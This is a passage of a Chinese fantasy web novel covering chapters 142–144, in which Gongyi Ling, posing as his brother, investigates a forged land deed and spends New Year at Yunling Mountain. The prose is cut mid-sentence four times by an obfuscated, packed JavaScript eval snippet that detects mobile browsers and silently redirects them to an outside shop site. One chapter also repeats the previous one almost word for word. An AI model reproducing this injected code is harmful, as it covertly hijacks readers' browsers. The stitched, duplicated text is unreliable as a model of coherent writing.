公仪岭沉默片刻,轻轻点头:“是我,您的记性不错。” 小贩自豪道:“那是当然,您当时在我这儿买了不少灯,说是您弟弟喜欢,要在家中过节的时候挂上,添些气氛。” 公仪岭一愣,想起自己从前在紫阳宗好像是随口说过这话,没想到大哥竟然记住了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132562|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小贩见他出神,以为他是又想到了自己弟弟,喃喃自语道:“不过,我觉得您还是不戴面具的时候好看些,难道是最近城中有什么活动,需得戴面具吗?……” 公仪岭失笑,随手提起他摊上的一盏走马灯,给了小贩几个铜板,道:“这个我要了,多谢。” 小贩高兴道:“您太客气了。” 依照公仪岚纸上写的,他当时怀疑的是醉春风那边有问题,否则公仪岭与尹鸿宣如何会在长乐坊巧合相遇,恐怕在公仪岭初次入宣安城的时候,就已经被人盯上了。 但是,公仪岭当时会在醉春风和尹鸿宣遇上,也是因为莺儿的缘故。公仪岭并不觉得莺儿会算计他们,觉得她大概也是这棋局中的一枚棋子,只是自己并不知道罢了。 公仪岭不知道大哥有没有找到莺儿,但他这一趟,看样子是应该去见她一面的。于是他提着灯朝着东市走,打算再去霁月茶楼看一看。 夜间的茶楼也热闹如旧,里面的台子并没有上演什么戏码,仅有一位轻纱掩面的姑娘在上面弹着琵琶。 公仪岭随意找了个位置坐下,点了一壶茶,凝眸望了台上姑娘一会儿,觉得莺儿看起来比从前长高了些,想必这茶楼老板应该待她不错。 他挥手召来茶楼小厮,问道:“台上姑娘何时有空?我有事见她。” 茶楼小厮为难道:“莺儿姑娘的规矩,是向来不见客的。” 公仪岭取出小块银子,放在桌上,对他道:“你告诉她,我姓公仪。” 他这个姓并不常见,莺儿听到的话,自然明白。 茶楼小厮接了银钱,喜不自胜,但还是提醒了一句:“公子,我帮你把话带到,见不见可是莺儿姑娘的事情。” 公仪岭道:“她不见的话,我也不会怪你。” 茶楼小厮走后,公仪岭静静地坐在茶桌上喝茶,看着莺儿弹完了一曲下去,没过多久,茶楼小厮就过来将他请上了二楼。 公仪岭也没想到,几个月不见,莺儿竟然在这里过得有模有样的,已经在茶楼住下了。小厮推开她的房门,往里面道了一声:“莺儿姑娘,有客到了。” 珠帘内传来一道女声:“好,我知道了,您先下去吧。” 公仪岭打量了下她的住处,小是小了些,不过很是干净整洁,也很雅致。 莺儿一开始以为他是从前的仙人哥哥,等到见到人了,面上有一瞬间的惊讶,很快就反应过来,对他行了一礼:“公仪宗主。” 看样子,大哥之前也找过她了。 公仪岭在茶桌前坐下,为两人倒了茶水,不动声色道:“不必多礼,坐吧。” 莺儿虽不解他为何再度前来,但还是在他对面坐了下来,犹豫了片刻,还是轻声道:“公仪宗主,不知仙人哥哥他,可还安好?” 142.故人既已逝 旧事再重提(四) 如果此刻有任何一个云灵山的弟子在旁边的话,大概表情也不会比他好到哪里去。 因为这张醉春风的地契上,写着“公仪岭”三个字。 公仪岭捏着地契的指尖有些发白。 没有人比他更清楚自己的笔迹,而这张地契上的笔迹,就算现在与公仪岭自己的笔迹比对一番,也是分毫不差的。 但同时也没人比他更清楚,他从未签过这样的地契,在来到宣安城以前,也从未没听过醉春风的名号。 定然是有人仿了他的笔迹,冒用了他的身份,不知何时在此地开了这家青楼。 至于为何用了他的名字,怕是早就想好有一天事情败露的话,就把自己推出去顶罪。 这样深沉的心计,当真是可怕。公仪岭想不到自己是与他有什么仇什么怨,他竟然要这样置自己于死地。 公仪岭也不敢想,若是让那些仙家的人先看到了这份地契,自己该落到怎样百口莫辩的地步。 所幸,现在是先被自己找到了。 他捏着地契正在出神,忽而听到了那密道中传来脚步声,还能隐约听到有女声说话:“快抓贼!屋内有贼!” “快点!跑快点!” 是柳夫人的声音。 他不能在这边耽误了。 公仪岭将地契揣入怀中,草草将暗格里的东西收拾完,用指尖血重新画了个阵,在房中瞬间消失了。 没过几分钟,屋内的暗门被人撞开,柳夫人怒气冲冲往里面一看,只瞧见地上的三支断箭,房中根本没人。 她检查了暗格内的东西,发现旁的都在,独独那张地契不见了,心中顿时一沉,对着身后的几个壮汉道:“还愣着做什么?这贼人肯定没跑远,快点给我追!” 此刻,万仙寺内。 公仪岭重新回到了此地,故地重游,几个月过去,万仙寺破败依旧,还是一个人都没有,令他心中稍安。 那一瞬间公仪岭压根没来得及考虑太多,也没有太多的目的地能供他选择。 宣安城中他知道的地方不多,但大多都是像霁月茶楼那样人多眼杂的地方,他也不能把醉春风的人引到莺儿那边。于是,阵法的目的地便还是设在了万仙寺中。 柳夫人再怎么想抓住他,也断然不会想到公仪岭竟然会去万仙寺。 大概是醉春风在暗中买通了不少人抓贼,这几日在城中到处都有追查此事的人,闹得满城风雨。公仪岭再次进城的时候,也稍稍打听了一下,很快就知道醉春风那些人连要捉长什么样的人也说不上来,只说要抓形迹可疑的人。 自家东西丢了,那主人没准也能露个脸。 公仪岭抱着这样的想法,在城中蹲守几日,想看看地契丢了能否引出那个冒充自己的人,谁知他等了一日,此人也没出现,只好暂且作罢,先去从前封棺的地方查看。 当时具体埋了多少副皮囊,公仪岭已经记不清了,但是有几个下葬的位置,他还是记得的,他便先去了这几个地方查看。 城中坟地大多都是荒凉的地带,他也不用担心有人过来认出自己,大晚上的也不会有人闲得没事来坟地晃悠。 至于坟地闹不闹鬼……那些鬼大概看见公仪岭第一眼的时候就老实了。 埋葬这些皮囊当时的棺材早已入土,眼下这月黑风高的,公仪岭来到人家坟头检查,竟生出了一种刨人祖坟的感觉,良心有些隐隐不安。 但不管怎么说,他的出发点是好的,于是在做了心理准备后,公仪岭还是深吸了一口气,说服自己开始动手了。 足足两夜一天,他才刨完了自己记忆中的所有坟头,依次检查了下葬的棺材。随后,公仪岭便发现,每一个封好的棺材上面的符箓全部被人为毁坏,连带着里面的皮囊也不见了,只剩下一具空棺。 看到这些空棺,公仪岭打消了继续找其他棺材的念头。 他刨坟只记得位置,至于顺序都是打乱的,这些棺材都空了,想必其余那些棺材恐怕也都空了,没有必要继续搜下一个。 公仪岭思忖了片刻后,把刨出来的棺材和泥土全都给埋了回去,等到一切做完后,他才找了条清澈的溪水净手,回到了宣安城中。 他还答应了莺儿与她一起吃一顿年夜饭,趁现在天还没黑,需得回霁月茶楼等她弹完曲子。 下午茶楼内依旧人满为患,大概是莺儿与茶楼小厮打过了招呼,还是给公仪岭留出一个僻静无人的位置,让他在这边等莺儿结束。 听着琵琶声声清越,喝着茶水唇齿留香,这是公仪岭这些时日以来,头一次生出岁月静好的感觉,仿佛回到了从前那样的宁静日子。 只可惜这样惬意的时间仅仅只有一个下午,曲终人总该散场。 莺儿弹完了最后一个音后,他也完全清醒了过来,重新挺直了身子,等着莺儿忙完带他去酒楼吃饭。 她过来找公仪岭的时候,也穿了一身白裙,对他轻声道:“公仪宗主,我们走吧。” 公仪岭瞧着她的衣服,问道:“莺儿姑娘,为何也穿得一身白衣?” 莺儿道:“地契丢了,外面有许多追查的人,这样的话低调一些,不会引人注意。” 公仪岭淡笑着起身:“打算去哪家吃饭?” “我也没吃过旁的酒楼,便去从前仙人哥哥带我去的那家吧。” 公仪岭仔细回忆了一下,却是记不得那酒楼在什么位置了,当时他们三人匆忙出来,随意找了家就吃,公仪岭事后也没再记过位置,就连酒楼叫什么名字也忘了。 好在莺儿记得位置,很快就把人带到了那边。 他们坐的还是二楼靠窗的位置。公仪岭本想着这么久没见,这顿应该他来请,却被莺儿果断拒绝,再三坚持下只得作罢了。 公仪岭感慨道:“我的年岁比你大,怎好意思叫你来请。” 莺儿笑道:“当初仙人哥哥已经请我吃过一次,何况这一次是我想让公仪宗主与我吃一顿饭,自然该是我来的。” 公仪岭遂没再提这茬,随意点了几个菜后,与莺儿聊了起来。 “莺儿姑娘,你可知道那醉春风是何时开起来的?” 莺儿以为他是有什么线索和思路了,回忆了一会儿后答道:“大概也有个七八年的样子了。” 这个时间显然久远了一些,七八年前,他也不过是个十来岁的孩子。 公仪岭顿了顿,又道:“那醉春风和长乐坊,可是同一年开起来的?” 这次莺儿没有回忆,直接摇头道:“不是,我听她们说过,醉春风先后是由两个人接手的,那长乐坊也是三四年前开起来的,想必,应该是后面那位老板开的。” 这样的话,倒是对得上了。 莺儿见他沉思着没说话,低声问道:“公仪宗主,这次去醉春风取地契, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149348|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是知晓了那地契上是谁的名字?” 莺儿现在生活过得不错,知道这些的话,说不定会将她再次置入险境,这样的事情,公仪岭并不打算告诉她。 公仪岭道:“一位故人而已。此事我会查清楚,你不必担心,他会平安无事的。” 许是他现在用公仪岚的语气说出这些,总能给人莫大的信任,莺儿听了他的话后,也面色缓和了些,算是心安了。 相比起这些,莺儿更想问的还是另一个问题。 她犹豫了许久,等到菜全都上齐了以后,才试探着开口:“公仪宗主,不知道仙人哥哥什么时候才能下山来看我?嗯……还有那位尹公子,也不知道您认不认识,他也是许久没来了,应该没事吧?” 尹鸿宣是没事,不过从他当了那魔尊后,被众仙家看得严,大约是出不来的。 公仪岭给她夹了菜,笑道:“他没事,你放心。等阿岭的事情了结,我便让他过来看你。” 这一顿饭下来,两人相谈甚欢,莺儿原先还想让小二上酒,被公仪岭拦了下来,理由是她年岁还小不宜饮酒,于是莺儿也只能悻悻作罢了。 他将人平安送回了霁月茶楼后,悄然御剑出了城。 * 回到云灵山已是三四日后的事情了。 山门处还站着守夜的弟子,就连这石门上头也被挂了两盏灯笼,红红火火地看着很喜庆。 两个弟子还没见到来人面容,光是见到彻云剑的寒芒也将人认了出来,当即诧异道:“宗主,您何时出关了?” 公仪岭暗暗懊恼,他一去好几日,竟是忘了临行前跟承悦交代的事情,现在这些弟子们都还以为自己在山中闭关呢。 对着弟子们疑惑的眼神,他解释道:“嗯,昨日出关了,进城了一趟。” 两个弟子虽然心中还有些怀疑,但即便人能易容,手上那把彻云剑是假不了的,还是将公仪岭放了进去。 让公仪岭没想到的是,上山的那条路两边竟然也被零零散散挂了不少灯笼,一直绵延到山顶,等他到云灵殿外后,看见的便是整个宗门上下全都高悬花灯,连门口都正在挂红联。 “哎哎哎,这边,再高点!” “歪了歪了歪了,怎么挂的你?不行我来!” 所有弟子们手中不是拿着灯笼就是拿着对联,叽叽喳喳围在殿前长廊上互相指挥着。 而承悦则是站在中间,统计着大家挂的灯笼。 每挂上一盏,承悦手中的算珠便多拨一下,直到长廊上挂好了最后一盏灯,他才松了松筋骨,揉了揉手腕,对众人道:“一共一百一十八盏,这边可以收工了!” 那收了工的弟子刚露出笑脸,往门口看了一眼,立刻瞧见了公仪岭,高兴道:“宗主出关了?” “这不是废话!过两天都过年了,宗主之前一直说,要等过节的时候给岭师兄挂灯笼,现在肯定得出关了。” “可惜岭师兄看不到了……” “瞎说什么呢你?不会说话就闭嘴。岭师兄知道过年了肯定会回来的,他看见这些肯定高兴!” “……” 承悦望着在月色下缓缓走过来的人,一时间也有些恍惚,险些以为回来的不是公仪岚,而是公仪岭。 定了定神后,承悦才笑道:“宗主,你回来了。” 公仪岭默了默,才轻轻颔首:“嗯,回来了。” 143.故人既已逝 旧事再重提(五) 如果此刻有任何一个云灵山的弟子在旁边的话,大概表情也不会比他好到哪里去。 因为这张醉春风的地契上,写着“公仪岭”三个字。 公仪岭捏着地契的指尖有些发白。 没有人比他更清楚自己的笔迹,而这张地契上的笔迹,就算现在与公仪岭自己的笔迹比对一番,也是分毫不差的。 但同时也没人比他更清楚,他从未签过这样的地契,在来到宣安城以前,也从未没听过醉春风的名号。 定然是有人仿了他的笔迹,冒用了他的身份,不知何时在此地开了这家青楼。 至于为何用了他的名字,怕是早就想好有一天事情败露的话,就把自己推出去顶罪。 这样深沉的心计,当真是可怕。公仪岭想不到自己是与他有什么仇什么怨,他竟然要这样置自己于死地。 公仪岭也不敢想,若是让那些仙家的人先看到了这份地契,自己该落到怎样百口莫辩的地步。 所幸,现在是先被自己找到了。 他捏着地契正在出神,忽而听到了那密道中传来脚步声,还能隐约听到有女声说话:“快抓贼!屋内有贼!” “快点!跑快点!” 是柳夫人的声音。 他不能在这边耽误了。 公仪岭将地契揣入怀中,草草将暗格里的东西收拾完,用指尖血重新画了个阵,在房中瞬间消失了。 没过几分钟,屋内的暗门被人撞开,柳夫人怒气冲冲往里面一看,只瞧见地上的三支断箭,房中根本没人。 她检查了暗格内的东西,发现旁的都在,独独那张地契不见了,心中顿时一沉,对着身后的几个壮汉道:“还愣着做什么?这贼人肯定没跑远,快点给我追!” 此刻,万仙寺内。 公仪岭重新回到了此地,故地重游,几个月过去,万仙寺破败依旧,还是一个人都没有,令他心中稍安。 那一瞬间公仪岭压根没来得及考虑太多,也没有太多的目的地能供他选择。 宣安城中他知道的地方不多,但大多都是像霁月茶楼那样人多眼杂的地方,他也不能把醉春风的人引到莺儿那边。于是,阵法的目的地便还是设在了万仙寺中。 柳夫人再怎么想抓住他,也断然不会想到公仪岭竟然会去万仙寺。 大概是醉春风在暗中买通了不少人抓贼,这几日在城中到处都有追查此事的人,闹得满城风雨。公仪岭再次进城的时候,也稍稍打听了一下,很快就知道醉春风那些人连要捉长什么样的人也说不上来,只说要抓形迹可疑的人。 自家东西丢了,那主人没准也能露个脸。 公仪岭抱着这样的想法,在城中蹲守几日,想看看地契丢了能否引出那个冒充自己的人,谁知他等了一日,此人也没出现,只好暂且作罢,先去从前封棺的地方查看。 当时具体埋了多少副皮囊,公仪岭已经记不清了,但是有几个下葬的位置,他还是记得的,他便先去了这几个地方查看。 城中坟地大多都是荒凉的地带,他也不用担心有人过来认出自己,大晚上的也不会有人闲得没事来坟地晃悠。 至于坟地闹不闹鬼……那些鬼大概看见公仪岭第一眼的时候就老实了。 埋葬这些皮囊当时的棺材早已入土,眼下这月黑风高的,公仪岭来到人家坟头检查,竟生出了一种刨人祖坟的感觉,良心有些隐隐不安。 但不管怎么说,他的出发点是好的,于是在做了心理准备后,公仪岭还是深吸了一口气,说服自己开始动手了。 足足两夜一天,他才刨完了自己记忆中的所有坟头,依次检查了下葬的棺材。随后,公仪岭便发现,每一个封好的棺材上面的符箓全部被人为毁坏,连带着里面的皮囊也不见了,只剩下一具空棺。 看到这些空棺,公仪岭打消了继续找其他棺材的念头。 他刨坟只记得位置,至于顺序都是打乱的,这些棺材都空了,想必其余那些棺材恐怕也都空了,没有必要继续搜下一个。 公仪岭思忖了片刻后,把刨出来的棺材和泥土全都给埋了回去,等到一切做完后,他才找了条清澈的溪水净手,回到了宣安城中。 他还答应了莺儿与她一起吃一顿年夜饭,趁现在天还没黑,需得回霁月茶楼等她弹完曲子。 下午茶楼内依旧人满为患,大概是莺儿与茶楼小厮打过了招呼,还是给公仪岭留出一个僻静无人的位置,让他在这边等莺儿结束。 听着琵琶声声清越,喝着茶水唇齿留香,这是公仪岭这些时日以来,头一次生出岁月静好的感觉,仿佛回到了从前那样的宁静日子。 只可惜这样惬意的时间仅仅只有一个下午,曲终人总该散场。 莺儿弹完了最后一个音后,他也完全清醒了过来,重新挺直了身子,等着莺儿忙完带他去酒楼吃饭。 她过来找公仪岭的时候,也穿了一身白裙,对他轻声道:“公仪宗主,我们走吧。” 公仪岭瞧着她的衣服,问道:“莺儿姑娘,为何也穿得一身白衣?” 莺儿道:“地契丢了,外面有许多追查的人,这样的话低调一些,不会引人注意。” 公仪岭淡笑着起身:“打算去哪家吃饭?” “我也没吃过旁的酒楼,便去从前仙人哥哥带我去的那家吧。” 公仪岭仔细回忆了一下,却是记不得那酒楼在什么位置了,当时他们三人匆忙出来,随意找了家就吃,公仪岭事后也没再记过位置,就连酒楼叫什么名字也忘了。 好在莺儿记得位置,很快就把人带到了那边。 他们坐的还是二楼靠窗的位置。公仪岭本想着这么久没见,这顿应该他来请,却被莺儿果断拒绝,再三坚持下只得作罢了。 公仪岭感慨道:“我的年岁比你大,怎好意思叫你来请。” 莺儿笑道:“当初仙人哥哥已经请我吃过一次,何况这一次是我想让公仪宗主与我吃一顿饭,自然该是我来的。” 公仪岭遂没再提这茬,随意点了几个菜后,与莺儿聊了起来。 “莺儿姑娘,你可知道那醉春风是何时开起来的?” 莺儿以为他是有什么线索和思路了,回忆了一会儿后答道:“大概也有个七八年的样子了。” 这个时间显然久远了一些,七八年前,他也不过是个十来岁的孩子。 公仪岭顿了顿,又道:“那醉春风和长乐坊,可是同一年开起来的?” 这次莺儿没有回忆,直接摇头道:“不是,我听她们说过,醉春风先后是由两个人接手的,那长乐坊也是三四年前开起来的,想必,应该是后面那位老板开的。” 这样的话,倒是对得上了。 莺儿见他沉思着没说话,低声问道:“公仪宗主,这次去醉春风取地契, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157409|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是知晓了那地契上是谁的名字?” 莺儿现在生活过得不错,知道这些的话,说不定会将她再次置入险境,这样的事情,公仪岭并不打算告诉她。 公仪岭道:“一位故人而已。此事我会查清楚,你不必担心,他会平安无事的。” 许是他现在用公仪岚的语气说出这些,总能给人莫大的信任,莺儿听了他的话后,也面色缓和了些,算是心安了。 相比起这些,莺儿更想问的还是另一个问题。 她犹豫了许久,等到菜全都上齐了以后,才试探着开口:“公仪宗主,不知道仙人哥哥什么时候才能下山来看我?嗯……还有那位尹公子,也不知道您认不认识,他也是许久没来了,应该没事吧?” 尹鸿宣是没事,不过从他当了那魔尊后,被众仙家看得严,大约是出不来的。 公仪岭给她夹了菜,笑道:“他没事,你放心。等阿岭的事情了结,我便让他过来看你。” 这一顿饭下来,两人相谈甚欢,莺儿原先还想让小二上酒,被公仪岭拦了下来,理由是她年岁还小不宜饮酒,于是莺儿也只能悻悻作罢了。 他将人平安送回了霁月茶楼后,悄然御剑出了城。 * 回到云灵山已是三四日后的事情了。 山门处还站着守夜的弟子,就连这石门上头也被挂了两盏灯笼,红红火火地看着很喜庆。 两个弟子还没见到来人面容,光是见到彻云剑的寒芒也将人认了出来,当即诧异道:“宗主,您何时出关了?” 公仪岭暗暗懊恼,他一去好几日,竟是忘了临行前跟承悦交代的事情,现在这些弟子们都还以为自己在山中闭关呢。 对着弟子们疑惑的眼神,他解释道:“嗯,昨日出关了,进城了一趟。” 两个弟子虽然心中还有些怀疑,但即便人能易容,手上那把彻云剑是假不了的,还是将公仪岭放了进去。 让公仪岭没想到的是,上山的那条路两边竟然也被零零散散挂了不少灯笼,一直绵延到山顶,等他到云灵殿外后,看见的便是整个宗门上下全都高悬花灯,连门口都正在挂红联。 “哎哎哎,这边,再高点!” “歪了歪了歪了,怎么挂的你?不行我来!” 所有弟子们手中不是拿着灯笼就是拿着对联,叽叽喳喳围在殿前长廊上互相指挥着。 而承悦则是站在中间,统计着大家挂的灯笼。 每挂上一盏,承悦手中的算珠便多拨一下,直到长廊上挂好了最后一盏灯,他才松了松筋骨,揉了揉手腕,对众人道:“一共一百一十八盏,这边可以收工了!” 那收了工的弟子刚露出笑脸,往门口看了一眼,立刻瞧见了公仪岭,高兴道:“宗主出关了?” “这不是废话!过两天都过年了,宗主之前一直说,要等过节的时候给岭师兄挂灯笼,现在肯定得出关了。” “可惜岭师兄看不到了……” “瞎说什么呢你?不会说话就闭嘴。岭师兄知道过年了肯定会回来的,他看见这些肯定高兴!” “……” 承悦望着在月色下缓缓走过来的人,一时间也有些恍惚,险些以为回来的不是公仪岚,而是公仪岭。 定了定神后,承悦才笑道:“宗主,你回来了。” 公仪岭默了默,才轻轻颔首:“嗯,回来了。” 144.故人既已逝 旧事再重提(六) 一炷香后,书房内。 承悦看着他从怀中取出了地契,只看了一眼上面的名字,也沉默了。 公仪岭注视着他的面色,苦笑道:“这便是我从醉春风里带出来的东西,原以为能从地契上得知醉春风的主人,以此找出幕后主使,却是没想到他竟还留了这样一手。” 承悦沉思道:“这地契上写的年月,是四年前,那时候阿岭才十四啊,他一个每天都不出云灵山半步的人,怎么可能去那么远的地方开青楼?就算是传出去,也没人会信的。” “我知道,但是不论如何,这张地契都暂时不能让旁人知晓。这上面的笔迹定然是仿的,买下醉春风的人,与泄露阵法图的人,一定是同一个人。” 承悦点头:“我明白利害,不会与旁人说。岚兄,上次我们还没来得及去查看放皮囊的棺材,就匆匆赶了回去,这次可寻到了吗?” 说起这个,公仪岭便叹了口气。 “棺材上用来镇压的符箓都被毁坏了,里面什么也没有,一定是被人给盗走了,就是不知道他们想要这些皮囊做什么用。” 承悦见他满脸愁容,便拍了拍他的肩膀安慰道:“无妨,现在能有这些线索,也算是一个大进展了,此人既然在仙门中,早晚会露出破绽的。” 公仪岭缓慢摇头,喃喃道:“我只担心,这人还会做出什么针对我们的事情,需得多加小心啊。” 承悦道:“岚兄,明日便是除夕了。你赶了几日的路,先歇息吧,若是累坏身子可不好,等我安排他们挂好灯笼,就去处理文书。” 他不说,公仪岭还没感觉到疲倦,一说完,倦意便止不住地上来了,于是点头道:“也好,那你先去吧。” 承悦走后,他也没唤了仙侍进来燃香,自己随意点上了以后,便和衣睡去。 朦胧之间,公仪岭还想着,自己究竟是从什么时候开始,也习惯了睡前用安神香凝神呢?只是还没撑到自己想出答案,就已经陷入了沉睡中。 这一觉睡得安稳。 公仪岭再度从床上起身,看着屋内的沙漏,竟是难得睡过了辰时。 他都快忘了上一次睡这么久是什么时候了,或许是被关禁闭的那几日吧。 公仪岭推开房门,才发现外面已经落起了雪。 这倒是也不奇怪,他们云灵山山势高,相比起城内温度总是低些,下雪也会比城内早一些。 公仪岭问门口仙侍:“这么晚了,怎么不提前叫我?” 仙侍恭敬道:“承悦师兄吩咐过了,宗主出关后难免疲惫,需得好生休养,就不必唤您起来了。” 公仪岭问道:“承悦人呢?” “承悦师兄去后山了,说是天气寒凉,他需得去照看那些茶树。” 公仪岭失笑道:“他哪里懂得这些,待我下回再去问一问那位旧友吧。” 仙侍不知道他口中的旧友是哪位仙僚,只能口中应下,又请示他道:“宗主,需要我们将承悦师兄喊过来吗?” 公仪岭想了想,道:“不必了,后山也不远,我先去寻他就是。” 仙侍又道:“膳房那边的弟子们也正准备着夜宴的食材,宗主稍后若是去看的话,我们便提前去知会一声。” “也好。” 简单与仙侍交代完后,公仪岭便朝着后山去了。 上次他只看了一眼,知道了个模糊的位置,于是还是打算在大路走过去,再从小路穿到那边。 走了约莫两刻钟的时间,公仪岭才找到了这片茶树的位置。 承悦也听到了身后的沙沙响动,回过身来,诧异道:“岚兄,你怎得过来了?我原先还打算打理完这边就去寻你,几处文书需得你过目盖印才行。” 公仪岭摆手道:“这个不急。这些茶树可都还好吧。” 他的目光落在这些茶树上面,见叶子上面已经积了些白雪,下面的土都已经被承悦翻过了一遍,连多余的枝叶也都修剪完了。 公仪岭不由感慨,承悦做事这样妥帖,也难怪当时会得他爹这般看重了。 承悦笑道:“都长势喜人呢,想必来年开春,就能抽芽了。” “那便好。膳房那边,弟子们还等着我去过目夜宴的菜谱,那些需要盖印的文书,午后你放在书房就好。” 承悦应了声,心中却是十分意外。 从前山中夜宴,公仪岚都是不关心膳房菜谱之类的事情,对这方面也没什么意见,现在竟也会关心这些了。 有的时候,他真的会感觉岚兄好像变得更加像阿岭了。 想来,岚兄现在孤身一人,应该是日日惦念着他,才会与阿岭越来越相似吧。 从前不愿靠近三只王八灵宠的人,如今也会亲自过去给他们喂吃食了。 承悦望着那抹离去的身影,轻笑了一声,还是继续俯身修剪多余的枝叶了。 除夕夜宴的所有菜肴和大殿布置,都是公仪岭亲自安排的。 云灵山从前虽然不常设宴,但是他在山中这么多年,想安排个除夕夜宴还是行有余力的。 祝酒词说过,饮下满杯的清酒后,公仪岭便对众人道:“今日除夕家宴,大家随意就好。” “好多菜啊!” “这酒也好喝!” 众弟子纷纷朗声道:“宗主,那我们可就不客气了!” 公仪岭并未再饮酒,只是笑道:“请吧。” 从前公仪岚的酒量大概也就一杯两杯的样子,他定然是不能再喝了,等到仙侍们将膳食呈上来后,还婉拒了几个师弟师妹的敬酒。 清醒的时候,他或许还能记得自己现在是公仪岚,可若是在醉酒的状态,难保会出现什么岔子,现在正是查找线索要紧的时候,断然不能在这时候暴露身份。 更重要的是,在这云灵山中,他得瞒过承悦的眼睛,才算成功。 承悦与他们一同长大,对两人的各种习惯再熟悉不过,他要是一不留神出了错,怕是就会被承悦看出来。 这样互换身份的事情,他并不打算现在就告诉承悦。承悦与大哥感情深厚,要是突然得知真相,定然心伤,也会引那些盯着云灵山的人生疑。 一个时辰过去,殿内的弟子们早已酒过三巡,除了公仪岭和承悦尚且清醒以外,剩下的都是些年纪小些的师弟师妹们,他们酒量浅,没过多久就喝趴下了。 至于那些与他们年岁差不多大的弟子,如今也只剩下少数。大部分人,在与玄霄殿的两场大战中,他们为了护住自家师弟师妹们,早已经战死了。 正座上的人凝望着殿下东倒西歪的一大片,承悦也不知他在想些什么,在旁边静候了许久,才听到他淡声开口。 “承悦,将弟子们都送回寝房内吧。” * 除夕过后,新春当日,云灵山内所有弟子休沐一日。 大雪纷飞,下了一天一夜,等公仪岭白日里起来,看到的便是院中积压的皑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172907|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皑白雪,石板路上也结了厚厚的一层冰。 门口的仙侍正在扫雪,见他出了房门,连忙行礼道:“宗主,您起了。” 公仪岭诧异道:“今日休沐,怎得还需扫雪?” 仙侍答道:“宗主,今年这场雪格外大,封了下山的路,弟子们大早上便自发在各处殿前扫雪清道,想等干完活了再下山呢。” 公仪岭听完也就明白了。云灵山上是被他设了结界,没办法御剑出去的,弟子们想要下山,就必须得走那条下山的道。 “原来如此。” 从前年年新春,他爹也是允了弟子们下山一日,至于这一日他们会去做的事情,大多也就是结伴在城中逛逛,或是找个茶楼喝茶听书之类。 想到这儿,公仪岭低笑一声,摇了摇头。 也难为他们这样勤劳,难得一日,便叫他们玩得开心点吧。 公仪岭抬头,朝天伸了伸手,直到几片晶莹的雪花落在他的掌心,他才低声道:“瑞雪兆丰年,只希望日后各界不要再起战事了。” 仙侍笑道:“仙魔战事已平,宗主的心愿,定然能够实现。” “但愿如此。” 他也笑了笑,没再说什么,将掌心的雪花握住后,便走出了院子。 公仪岭一路散步到云灵殿外,果然看见几百号弟子都在热火朝天地扫着积雪、清理着冰面。 他一出现,弟子们就也瞧见了,马上转过身来,齐齐行礼道:“宗主。” 公仪岭负手而立,清了清嗓子道:“难得休沐一日,今日便不必扫雪了。” 承悦抬起头,笑道:“宗主,现在大雪封山,不扫雪的话,弟子们可就没法下山了。” 公仪岭从容道:“不走下山,这不是还能御剑下山吗?” “这……” 想要御剑下山的话,就必须得打开云灵山的结界,但此前他们已然吃过几次没有结界的亏,承悦不得不在这样的事情上小心为妙。 他皱着眉刚想制止,面前的人就已经抬手施法,解开了云灵山的结界。 承悦上前一步,轻声道:“宗主,书房内还有那张纸……解开云灵山的结界,是否不妥?” 公仪岭轻松道:“我已妥善安置,你不必担心。今天一整日,我都会守在山中,不会有人在我眼皮子底下兴风作浪。” 说罢,便朝其余弟子朗声道:“这结界我会解开一日,你们今夜子时前回来即可,晚了的话,可就得自己扫雪上山了。” 众弟子兴奋不已:“多谢宗主!” 公仪岭点头道:“这样,还能顺便让我瞧瞧你们的御剑术修习得如何了?” 话音刚落,几个年轻的小弟子们都咳嗽成了一片,掩饰尴尬。 “这个嘛……宗主,我们已经在努力修习了。” “有师兄师姐们看着,肯定不会从剑上掉下来的!” 难得逗一逗后辈,公仪岭心情稍霁,也不由弯了弯唇角,朝他们挥了挥手:“一路平安,早点回来。” 送走了弟子们后,公仪岭才转了头,去看身旁一动不动的承悦。 “你怎么不下山?” 